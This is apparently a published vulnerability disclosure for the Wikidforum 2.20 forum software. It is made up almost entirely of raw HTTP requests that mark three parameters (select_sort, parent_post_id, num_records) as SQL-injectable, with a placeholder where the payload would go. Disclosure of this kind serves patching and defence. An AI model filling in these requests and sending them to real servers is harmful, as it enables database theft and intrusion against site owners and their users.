# Exploit Title: Wikidforum 2.20 Multiple SQL Injection Vulnerability # Date: 08.10.2018 # Exploit Author: Seccops - Siber Güvenlik Hizmetleri (https://seccops.com) # Vendor Homepage: https://sourceforge.net/projects/wikidforum/ # Software Link: https://sourceforge.net/projects/wikidforum/files/Wikidforum-com-ed.2.20.zip/download # Version: 2.20 # Tested on: Windows 10 # Vulnerability Type : SQL Injection # CVE : - Vulnerable the POST parameter in search: select_sort # HTTP Requests for SQLi Detection: POST /Wikidforum-com-ed.2.20/wikidforum/index.php?action=search&mode=search HTTP/1.1 Host: localhost Content-Length: 428 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: null Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: m_username=testuser; m_passwd=21232f297a57a5a743894a0e4a801fc3 Connection: close txtsearch=3&opt_search_select=forum&txt_author=3&search_display_field%255b%255d=post_rate&select_sort=SQL_INJECTION ------------------------ Vulnerable the POST parameter in search: parent_post_id # HTTP Requests for SQLi Detection: GET /Wikidforum-com-ed.2.20/wikidforum/rpc.php?action=applications/post/rpc.php&mode=post_rpc&page=1&num_records=25&parent_post_id=SQL_INJECTION HTTP/1.1 Host: localhost Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close Cookie: m_username=testuser; m_passwd=21232f297a57a5a743894a0e4a801fc3 ------------------------ Vulnerable the POST parameter in search: num_records # HTTP Requests for SQLi Detection: GET /Wikidforum-com-ed.2.20/wikidforum/rpc.php?action=applications/post/rpc.php&mode=post_rpc&page=1&num_records=SQL_INJECTION HTTP/1.1 Host: localhost Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close Cookie: m_username=testuser; m_passwd=21232f297a57a5a743894a0e4a801fc3